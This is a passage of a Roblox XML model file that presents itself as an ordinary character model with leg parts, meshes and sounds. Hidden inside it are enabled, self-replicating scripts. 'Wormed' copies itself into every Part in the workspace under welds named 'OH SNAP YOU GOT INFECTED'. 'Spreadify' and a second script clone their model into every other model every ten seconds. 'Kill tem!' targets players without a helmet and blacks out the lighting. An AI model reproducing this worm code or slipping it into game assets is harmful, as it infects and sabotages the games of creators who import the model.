					<Item class="BlockMesh" referent="RBX535">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX536">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">3qd51bp7c</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX537">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">amne30</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX538">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX539">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX540">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX541">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX542">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX543">
					<Properties>
						<string name="Name">OHAI</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX544">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Controls</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX545">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Spreadify</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX546">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX547">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX548">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Kill tem!</string>
								<string name="Source">function noHelmet(chr)

	local s = script.NoHelmet:clone()
	s.Disabled = false
	s.Parent = chr
	
end

function checkHelmets()
	local p = game.Players:GetPlayers()

	for i=1,#p do
		local c = p[i].Character
		if (c ~= nil) then 
			local helmet = c:findFirstChild(&quot;Samurai&quot;)
			if (helmet == nil and c:findFirstChild(&quot;NoHelmet&quot;) == nil) then
				noHelmet(c)
			end
		end
	end
end

function nosamurai()
	while(true) do
		wait(3)
		checkHelmets()
	end
end

if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
	nosamurai()
	wait(600)
	game.Lighting.TimeOfDay = &quot;00:00:00&quot;
	game.Lighting.Brightness = 0
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX549">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">0mbyrb6</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX550">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">join teh moovment!</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;No samurai plzzz&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX551">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">5hsppzvl</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX552">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">x2mdg</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX553">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">tefqwy3he</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX554">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Leg1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX555">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">a9xb6w</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX556">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1016</int>
						<CoordinateFrame name="CFrame">
							<X>75.5000076</X>
							<Y>2.39989543</Y>
							<Z>16.5</Z>
							<R00>-0.98078537</R00>
							<R01>-0.195089996</R01>
							<R02>3.6211236e-006</R02>
							<R10>0.195089981</R10>
							<R11>-0.98078537</R11>
							<R12>8.04985291e-007</R12>
							<R20>3.39450003e-006</R20>
							<R21>1.49596247e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX557">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.699999988</X>
								<Y>2</Y>
								<Z>1.29999995</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX558">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX559">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX560">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX561">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX562">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX563">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>75.5</X>
							<Y>1.20000005</Y>
							<Z>15.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX564">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX565">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX566">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX567">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX568">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX569">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>75.5</X>
							<Y>1.20000005</Y>
							<Z>16.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX570">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX571">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX572">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX573">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX574">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX575">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>75.5</X>
							<Y>1.80000007</Y>
							<Z>16.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Sock</string>
						<float name="Reflectance">0</float>
